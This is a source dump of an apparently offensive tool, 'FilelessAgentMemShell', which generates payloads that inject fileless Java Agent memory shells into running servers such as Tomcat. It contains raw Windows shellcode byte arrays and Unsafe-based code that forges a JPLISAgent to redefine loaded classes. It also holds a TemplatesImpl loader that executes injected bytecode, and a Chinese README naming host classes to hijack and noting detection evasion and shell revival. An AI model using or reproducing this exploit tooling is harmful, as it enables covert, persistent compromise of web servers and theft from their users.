byte)0x48,(byte)0x89,(byte)0xE1,(byte)0xBA,(byte)0x01,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x49,(byte)0x89,(byte)0xC8,(byte)0x49,(byte)0x83,(byte)0xC0,(byte)0x08,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x28,(byte)0x48,(byte)0x8B,(byte)0x09,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x20,(byte)0x54,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x4D,(byte)0x31,(byte)0xC0,(byte)0x4C,(byte)0x8B,(byte)0x39,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x20,(byte)0x49,(byte)0x89,(byte)0xCE,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x4C,(byte)0x89,(byte)0xF1,(byte)0x48,(byte)0xBA,(byte)0x48,(byte)0x47,(byte)0x46,(byte)0x45,(byte)0x44,(byte)0x43,(byte)0x42,(byte)0x41,(byte)0x41,(byte)0xB8,(byte)0x00,(byte)0x02,(byte)0x01,(byte)0x30,(byte)0x4D,(byte)0x8B,(byte)0x3E,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x20,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x20,(byte)0x4C,(byte)0x89,(byte)0xF1,(byte)0x4D,(byte)0x8B,(byte)0x3E,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x28,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x78,(byte)0xC3};
byte[] stub=new byte[]{0x48,0x47,0x46,0x45,0x44,0x43,0x42,0x41};
if (pointerLength==4) {
buf = new byte[]{(byte) 0x90, (byte) 0x90, (byte) 0x90, (byte) 0x33, (byte) 0xC9, (byte) 0x64, (byte) 0xA1, (byte) 0x30, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x8B, (byte) 0x40, (byte) 0x0C, (byte) 0x8B, (byte) 0x70, (byte) 0x14, (byte) 0xAD, (byte) 0x96, (byte) 0xAD, (byte) 0x8B, (byte) 0x58, (byte) 0x10, (byte) 0x8B, (byte) 0x53, (byte) 0x3C, (byte) 0x03, (byte) 0xD3, (byte) 0x8B, (byte) 0x52, (byte) 0x78, (byte) 0x03, (byte) 0xD3, (byte) 0x33, (byte) 0xC9, (byte) 0x8B, (byte) 0x72, (byte) 0x20, (byte) 0x03, (byte) 0xF3, (byte) 0x41, (byte) 0xAD, (byte) 0x03, (byte) 0xC3, (byte) 0x81, (byte) 0x38, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x75, (byte) 0xF4, (byte) 0x81, (byte) 0x78, (byte) 0x04, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x75, (byte) 0xEB, (byte) 0x81, (byte) 0x78, (byte) 0x08, (byte) 0x64, (byte) 0x64, (byte) 0x72, (byte) 0x65, (byte) 0x75, (byte) 0xE2, (byte) 0x8B, (byte) 0x72, (byte) 0x24, (byte) 0x03, (byte) 0xF3, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x49, (byte) 0x8B, (byte) 0x72, (byte) 0x1C, (byte) 0x03, (byte) 0xF3, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x03, (byte) 0xD3, (byte) 0x52, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x68, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x68, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x68, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x59, (byte) 0x50, (byte) 0x66, (byte) 0xB9, (byte) 0x33, (byte) 0x32, (byte) 0x51, (byte) 0x68, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x54, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xD8, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x5A, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x6A, (byte) 0x73, (byte) 0x68, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x68, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x68, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x68, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x68, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x89, (byte) 0x45, (byte) 0xF0, (byte) 0x54, (byte) 0x6A, (byte) 0x01, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x54, (byte) 0x59, (byte) 0x6A, (byte) 0x01, (byte) 0x51, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xC1, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0x6A, (byte) 0x00, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x8B, (byte) 0x00, (byte) 0x50, (byte) 0x8B, (byte) 0x18, (byte) 0x8B, (byte) 0x43, (byte) 0x10, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0x43, (byte) 0x18, (byte) 0x68, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x68, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x83, (byte) 0xEC, (byte) 0x04, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xEC, (byte) 0x0C, (byte) 0x8B, (byte) 0x43, (byte) 0x14, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xC4, (byte) 0x5C, (byte) 0xC3};
stub=new byte[]{0x44,0x43,0x42,0x41};
}
buf = replaceBytes(buf,stub,long2ByteArray_Little_Endian(JPLISAgent+pointerLength,pointerLength));
classBody[7]=0x32;
try {
for (Method m:result.getDeclaredMethods())
{
if (m.getName().equals("run"))
{
m.invoke(result, buf);
}
}
}
finally {
long native_jvmtienv = unsafe.getLong(JPLISAgent + pointerLength);
if (pointerLength == 4) {
unsafe.putByte(native_jvmtienv + 201, (byte) 2);
unsafe.putByte(native_jvmtienv + 205, (byte) 2);
unsafe.putByte(native_jvmtienv + 209, (byte) 2);
} else {
unsafe.putByte(native_jvmtienv + 377, (byte) 2);
unsafe.putByte(native_jvmtienv + 361, (byte) 2);
unsafe.putByte(native_jvmtienv + 369, (byte) 2);
}
try {
Class<?> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl");
Constructor<?> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);
constructor.setAccessible(true);
Object inst = constructor.newInstance(JPLISAgent, true, false);
ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody);
Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class);
redefineClazz.invoke(inst, new Object[]{
new ClassDefinition[]{
definition
}
});
} catch (Throwable error) {
error.printStackTrace();
throw error;
}
}
}
public static byte[] long2ByteArray_Little_Endian(long l,int length) {
byte[] array = new byte[length];
for (int i = 0; i < array.length; i++) {
array[i] = (byte) (l >> (i * 8));
}
return array;
}
private static byte[] replaceBytes(byte[] bytes,byte[] byteSource,byte[] byteTarget)
{
for(int i=0;i<bytes.length;i++)
{
boolean bl=true;
for(int j=0;j<byteSource.length;j++)
{
if(i+j<bytes.length&&bytes[i+j]==byteSource[j])
{
}
else
{
bl=false;
}
}
if(bl)
{
System.arraycopy(byteTarget, 0, bytes, i, byteTarget.length);
}
}
return bytes;
}
}
================================================
FILE: MemShellSrc/WindowsAgentMemShellWithTpl
================================================
import sun.misc.Unsafe;
import java.io.IOException;
import java.lang.instrument.ClassDefinition;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
public class AgentMemShell extends ClassLoader {
public Class get(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public static int pointerLength={{var3}};
static {
try {
AgentForWindows("{{var1}}", Base64.getDecoder().decode("{{var2}}"));
} catch (Exception e) {
throw new RuntimeException(e);
}
}
static native void enqueue(long hProcess, byte[] stub,
String cmd, String pipename, Object... args) throws IOException;
public static void AgentForWindows (String className,byte[] classBody) throws Exception {
String classStr = "yv66vgAAADQALwoABwAeCAAfCgAgACEF//////////8IACIHACMKAAsAJAcAJQoACQAmBwAnAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAB2VucXVldWUBAD0oSltCTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvT2JqZWN0OylWAQAKRXhjZXB0aW9ucwcAKAEAC29wZW5Qcm9jZXNzAQAEKEkpSgEAA3J1bgEABShbQilWAQANU3RhY2tNYXBUYWJsZQcAJQcAKQcAKgEAClNvdXJjZUZpbGUBABpXaW5kb3dzVmlydHVhbE1hY2hpbmUuamF2YQwADAANAQAGYXR0YWNoBwArDAAsAC0BAAR0ZXN0AQAQamF2YS9sYW5nL09iamVjdAwAEAARAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwALgANAQAmc3VuL3Rvb2xzL2F0dGFjaC9XaW5kb3dzVmlydHVhbE1hY2hpbmUBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQATamF2YS9sYW5nL1Rocm93YWJsZQEAAltCAQAQamF2YS9sYW5nL1N5c3RlbQEAC2xvYWRMaWJyYXJ5AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAPcHJpbnRTdGFja1RyYWNlACEACwAHAAAAAAAEAAEADAANAAEADgAAAB0AAQABAAAABSq3AAGxAAAAAQAPAAAABgABAAAABQGIABAAEQABABIAAAAEAAEAEwEIABQAFQABABIAAAAEAAEAEwAJABYAFwABAA4AAAC/AAYABAAAADoSArgAAxQABCoSBhIGA70AB7gACKcAJUwrtgAKpwAdTRQABCoSBhIGA70AB7gACKcACE4ttgAKLL+xAAMABQAUABcACQAAAAUAHwAAACAALwAyAAkAAgAPAAAANgANAAAACwAFAA4AFAARABcADwAYABAAHAASAB8ADQAgAA4ALwARADIADwAzABAANwASADkAEwAYAAAAHwAFVwcAGUcHABr/ABIAAwcAGwAHABoAAQcAGQT5AAEAAQAcAAAAAgAd";
Class result = new AgentMemShell().get(Base64.getDecoder().decode(classStr));
Unsafe unsafe = null;
try {
Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (sun.misc.Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
long JPLISAgent = unsafe.allocateMemory(0x1000);
byte[] buf=new byte[]{(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0x48,(byte)0x83,(byte)0xE4,(byte)0xF0,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x65,(byte)0x48,(byte)0x8B,(byte)0x41,(byte)0x60,(byte)0x48,(byte)0x8B,(byte)0x40,(byte)0x18,(byte)0x48,(byte)0x8B,(byte)0x70,(byte)0x20,(byte)0x48,(byte)0xAD,(byte)0x48,(byte)0x96,(byte)0x48,(byte)0xAD,(byte)0x48,(byte)0x8B,(byte)0x58,(byte)0x20,(byte)0x4D,(byte)0x31,(byte)0xC0,(byte)0x44,(byte)0x8B,(byte)0x43,(byte)0x3C,(byte)0x4C,(byte)0x89,(byte)0xC2,(byte)0x48,(byte)0x01,(byte)0xDA,(byte)0x44,(byte)0x8B,(byte)0x82,(byte)0x88,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x49,(byte)0x01,(byte)0xD8,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x20,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x49,(byte)0xB9,(byte)0x47,(byte)0x65,(byte)0x74,(byte)0x50,(byte)0x72,(byte)0x6F,(byte)0x63,(byte)0x41,(byte)0x48,(byte)0xFF,(byte)0xC1,(byte)0x48,(byte)0x31,(byte)0xC0,(byte)0x8B,(byte)0x04,(byte)0x8E,(byte)0x48,(byte)0x01,(byte)0xD8,(byte)0x4C,(byte)0x39,(byte)0x08,(byte)0x75,(byte)0xEF,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x24,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x66,(byte)0x8B,(byte)0x0C,(byte)0x4E,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x1C,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x48,(byte)0x31,(byte)0xD2,(byte)0x8B,(byte)0x14,(byte)0x8E,(byte)0x48,(byte)0x01,(byte)0xDA,(byte)0x48,(byte)0x89,(byte)0xD7,(byte)0xB9,(byte)0x61,(byte)0x72,(byte)0x79,(byte)0x41,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x4C,(byte)0x6F,(byte)0x61,(byte)0x64,(byte)0x4C,(byte)0x69,(byte)0x62,(byte)0x72,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x48,(byte)0x89,(byte)0xD9,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x30,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x10,(byte)0x48,(byte)0x89,(byte)0xC6,(byte)0xB9,(byte)0x6C,(byte)0x6C,(byte)0x00,(byte)0x00,(byte)0x51,(byte)0xB9,(byte)0x6A,(byte)0x76,(byte)0x6D,(byte)0x00,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE1,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x30,(byte)0xFF,(byte)0xD6,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x10,(byte)0x49,(byte)0x89,(byte)0xC7,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x48,(byte)0xB9,(byte)0x76,(byte)0x61,(byte)0x56,(byte)0x4D,(byte)0x73,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x72,(byte)0x65,(byte)0x61,(byte)0x74,(byte)0x65,(byte)0x64,(byte)0x4A,(byte)0x61,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x4A,(byte)0x4E,(byte)0x49,(byte)0x5F,(byte)0x47,(byte)0x65,(byte)0x74,(byte)0x43,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x4C,(byte)0x89,(byte)0xF9,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x28,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x18,(byte)0x49,(byte)0x89,(byte)0xC7,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0x48,(byte)0x89,(byte)0xE1,(byte)0xBA,(byte)0x01,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x49,(byte)0x89,(byte)0xC8,(byte)0x49,(byte)0x83,(byte)0xC0,(byte)0x08,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x28,(byte)0x48,(byte)0x8B,(byte)0x09,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x20,(byte)0x54,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x4D,(byte)0x31,(byte)0xC0,(byte)0x4C,(byte)0x8B,(byte)0x39,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x20,(byte)0x49,(byte)0x89,(byte)0xCE,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x4C,(byte)0x89,(byte)0xF1,(byte)0x48,(byte)0xBA,(byte)0x48,(byte)0x47,(byte)0x46,(byte)0x45,(byte)0x44,(byte)0x43,(byte)0x42,(byte)0x41,(byte)0x41,(byte)0xB8,(byte)0x00,(byte)0x02,(byte)0x01,(byte)0x30,(byte)0x4D,(byte)0x8B,(byte)0x3E,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x20,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x20,(byte)0x4C,(byte)0x89,(byte)0xF1,(byte)0x4D,(byte)0x8B,(byte)0x3E,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x28,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x78,(byte)0xC3};
byte[] stub=new byte[]{0x48,0x47,0x46,0x45,0x44,0x43,0x42,0x41};
if (pointerLength==4) {
buf = new byte[]{(byte) 0x90, (byte) 0x90, (byte) 0x90, (byte) 0x33, (byte) 0xC9, (byte) 0x64, (byte) 0xA1, (byte) 0x30, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x8B, (byte) 0x40, (byte) 0x0C, (byte) 0x8B, (byte) 0x70, (byte) 0x14, (byte) 0xAD, (byte) 0x96, (byte) 0xAD, (byte) 0x8B, (byte) 0x58, (byte) 0x10, (byte) 0x8B, (byte) 0x53, (byte) 0x3C, (byte) 0x03, (byte) 0xD3, (byte) 0x8B, (byte) 0x52, (byte) 0x78, (byte) 0x03, (byte) 0xD3, (byte) 0x33, (byte) 0xC9, (byte) 0x8B, (byte) 0x72, (byte) 0x20, (byte) 0x03, (byte) 0xF3, (byte) 0x41, (byte) 0xAD, (byte) 0x03, (byte) 0xC3, (byte) 0x81, (byte) 0x38, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x75, (byte) 0xF4, (byte) 0x81, (byte) 0x78, (byte) 0x04, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x75, (byte) 0xEB, (byte) 0x81, (byte) 0x78, (byte) 0x08, (byte) 0x64, (byte) 0x64, (byte) 0x72, (byte) 0x65, (byte) 0x75, (byte) 0xE2, (byte) 0x8B, (byte) 0x72, (byte) 0x24, (byte) 0x03, (byte) 0xF3, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x49, (byte) 0x8B, (byte) 0x72, (byte) 0x1C, (byte) 0x03, (byte) 0xF3, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x03, (byte) 0xD3, (byte) 0x52, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x68, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x68, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x68, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x59, (byte) 0x50, (byte) 0x66, (byte) 0xB9, (byte) 0x33, (byte) 0x32, (byte) 0x51, (byte) 0x68, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x54, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xD8, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x5A, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x6A, (byte) 0x73, (byte) 0x68, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x68, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x68, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x68, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x68, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x89, (byte) 0x45, (byte) 0xF0, (byte) 0x54, (byte) 0x6A, (byte) 0x01, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x54, (byte) 0x59, (byte) 0x6A, (byte) 0x01, (byte) 0x51, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xC1, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0x6A, (byte) 0x00, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x8B, (byte) 0x00, (byte) 0x50, (byte) 0x8B, (byte) 0x18, (byte) 0x8B, (byte) 0x43, (byte) 0x10, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0x43, (byte) 0x18, (byte) 0x68, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x68, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x83, (byte) 0xEC, (byte) 0x04, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xEC, (byte) 0x0C, (byte) 0x8B, (byte) 0x43, (byte) 0x14, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xC4, (byte) 0x5C, (byte) 0xC3};
stub=new byte[]{0x44,0x43,0x42,0x41};
}
buf = replaceBytes(buf,stub,long2ByteArray_Little_Endian(JPLISAgent+pointerLength,pointerLength));
classBody[7]=0x32;
try {
for (Method m:result.getDeclaredMethods())
{
if (m.getName().equals("run"))
{
m.invoke(result, buf);
}
}
}
finally {
long native_jvmtienv = unsafe.getLong(JPLISAgent + pointerLength);
if (pointerLength == 4) {
unsafe.putByte(native_jvmtienv + 201, (byte) 2);
unsafe.putByte(native_jvmtienv + 205, (byte) 2);
unsafe.putByte(native_jvmtienv + 209, (byte) 2);
} else {
unsafe.putByte(native_jvmtienv + 377, (byte) 2);
unsafe.putByte(native_jvmtienv + 361, (byte) 2);
unsafe.putByte(native_jvmtienv + 369, (byte) 2);
}
try {
Class<?> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl");
Constructor<?> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);
constructor.setAccessible(true);
Object inst = constructor.newInstance(JPLISAgent, true, false);
ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody);
Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class);
redefineClazz.invoke(inst, new Object[]{
new ClassDefinition[]{
definition
}
});
} catch (Throwable error) {
error.printStackTrace();
throw error;
}
}
}
public static byte[] long2ByteArray_Little_Endian(long l,int length) {
byte[] array = new byte[length];
for (int i = 0; i < array.length; i++) {
array[i] = (byte) (l >> (i * 8));
}
return array;
}
private static byte[] replaceBytes(byte[] bytes,byte[] byteSource,byte[] byteTarget)
{
for(int i=0;i<bytes.length;i++)
{
boolean bl=true;
for(int j=0;j<byteSource.length;j++)
{
if(i+j<bytes.length&&bytes[i+j]==byteSource[j])
{
}
else
{
bl=false;
}
}
if(bl)
{
System.arraycopy(byteTarget, 0, bytes, i, byteTarget.length);
}
}
return bytes;
}
}
================================================
FILE: MemShellSrc/repairTpl.java
================================================
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class repairTpl extends AbstractTranslet {
static{
final String t = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114});
final String p = new String(new byte[]{100, 101, 102, 105, 110, 101, 67, 108, 97, 115, 115, 49});
try {
// ATTENTION ATTENTION ATTENTION ATTENTION ATTENTION ATTENTION ATTENTION ATTENTION ATTENTION ATTENTION
byte[] b = new sun.misc.BASE64Decoder().decodeBuffer("writeYourBytecodeHere");
java.lang.reflect.Method m = Class.forName(t).getDeclaredMethod(p, String.class, byte[].class,
int.class, int.class, java.security.ProtectionDomain.class, String.class);
m.setAccessible(true);
((Class<?>) m.invoke(Thread.currentThread().getContextClassLoader(), null, b, 0, b.length, null, null))
.newInstance();
} catch (Exception ignored) {
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
================================================
FILE: README.md
================================================
# FilelessAgentMemShell
## #1 简单介绍
FilelessAgentMemShell是一款用于自定义生成**用于注入Agent内存马**的classFile的小工具
Agent内存马的工作原理是利用Java Instrument API 动态修改 正在JVM中的运行着的类字节码,选择合适的宿主类,就可以在不添加新类的前提下实现内存马逻辑
过去,这项技术需要文件落地才可使用,好在 [**rebeyond**](https://xz.aliyun.com/u/8697) [**游望之**](https://xz.aliyun.com/u/40732) 提出了无文件落地利用方式,使得通过反序列化漏洞/JNDI注入来一步打入Agent内存马有了可能
本工具对于前人给出的EXP进行了小幅修改,可以根据**不同目标环境和应用场景**,简单快速地生成用于注入Agent内存马的classFile
## #2 原理
有关Agent内存马以及其无文件落地技术的原理,可参考以下文章:
对于Java Agent技术以及其内存马的简单介绍 https://www.freebuf.com/articles/web/323621.html
Java内存攻击技术漫谈 https://xz.aliyun.com/t/10075
论如何优雅的注入Java Agent内存马 https://xz.aliyun.com/t/11640
Linux下无文件Java agent探究 https://tttang.com/archive/1525
Linux下内存马进阶植入技术 https://xz.aliyun.com/t/10186
## #3 使用指导
建议结合[无文件落地注入Agent内存马实操](https://xz.aliyun.com/t/13150)食用,完成第一次模拟注入实验
### 编译
本项目基于**Java8**
小的更新不会发布release,可以自行编译
也可以在release中直接下载jar包
### 运行
**首先请确保** jar文件的同目录下有`MemShellSrc`和`out`两个文件夹,**前者可以在仓库中找到**,后者用于存放工具所生成的class文件,置空即可
**请使用 Java8 运行**
`java -jar FilelessAgentMemShell.jar`
### 基础使用方法
`Agent内存马的工作原理是利用Java Instrument API 动态修改JVM中运行着的类字节码,从而在不添加新类的前提下实现内存马逻辑`
为此,你需要:
#### 选定宿主类
一般选择目标**请求处理逻辑**中的某一环
在Tomcat环境中,这个类可以是
- **org.apache.tomcat.websocket.server.WsFilter #doFilter()(推荐,代码少且无lambda表达式)**
- **org.apache.catalina.core.StandardContextValve #invoke()(推荐,代码少且无lambda表达式)**
- org.apache.catalina.core.ApplicationFilterChain #doFilter()(不推荐,代码多且有lambda表达式)
- org.springframework.web.servlet.DispatcherServlet(不推荐,代码多)
- javax.servlet.http.HttpServlet #service()(Tomcat9之后/Weblogic环境下,包前缀是`jakarta`/`weblogic`)(不推荐,代码多)
#### 编写、编译替换类
你可以使用Javassist工具方便的生成新字节码,一般来说可以使用insertBefore在目标方法前添加shell逻辑,以在不影响正常逻辑的前提下实现内存马
如需选用包含lambda表达式的宿主类,你必须先使用**ASM框架**删除包含有lambda表达式的方法的所有内容,再使用Javassist等框架进行二次编辑
有关Javassist框架的使用方法,可参照文档:
**Javassist** https://www.cnblogs.com/rickiyang/p/11336268.html
至于**ASM**框架,从未接触过到完全掌握需要较大时间成本,在本项目中其使用场景较为单一,所以也可以直接套用我在**[使用指南](https://xz.aliyun.com/t/13150#toc-7)**中给出的示例代码
如果你完全不想接触这部分工具,也可以直接使用我给出的测试类[WsFilter.class](https://github.com/whocansee/FilelessAgentMemShell/blob/main/testEnvironment/WsFilter.class);未来或许会给出**实战可用**的针对常见类的新字节码,详见**更新计划**
测试完成之后,**建议自己编写新类**,因为动态替换字节码意味着你几乎可以做到任何事,对抗检测、循环复活、更改硬编码密钥.......
#### 利用工具生成用于注入Agent内存马的类
**以下是命令行参数**
- -c className;eg:``org.apache.catalina.core.StandardContextValve`` (宿主类的**全限定类名**)
- -p Path; eg:`/path/test.class` (新类字节码路径)
- -o os; eg: `Linux/Windows`(目标操作系统)
- -t templatesImpl; eg:`true/false`(是否使用templatesImpl来加载类)
- -i ifbeyondJDK8; eg:`true/false`(目标JDK版本是否大于8,仅目标为Windows时需要填写)
- -b eg: `32/64` (目标操作系统位数,仅对于Windows目标可指定)
例如,在使用本项目提供的漏洞环境与**测试用新类**进行模拟测试时,你应该指定如下参数
`java -jar .\FilelessAgentMemshellGenerator.jar`
` -b 64 `
`-c "org.apache.tomcat.websocket.server.WsFilter" `
`-i false`
` -o "Windows"`
` -p .\WsFilter.class`
` -t false`
#### 提示
- **如果帮助信息出现乱码,请使用`chcp 936` 修改字符编码后重新运行项目**
- 建议使用JDK低版本,以提高生成classFile的兼容性
- -c指定的类名**必须是全限定名**
#### 打入内存马
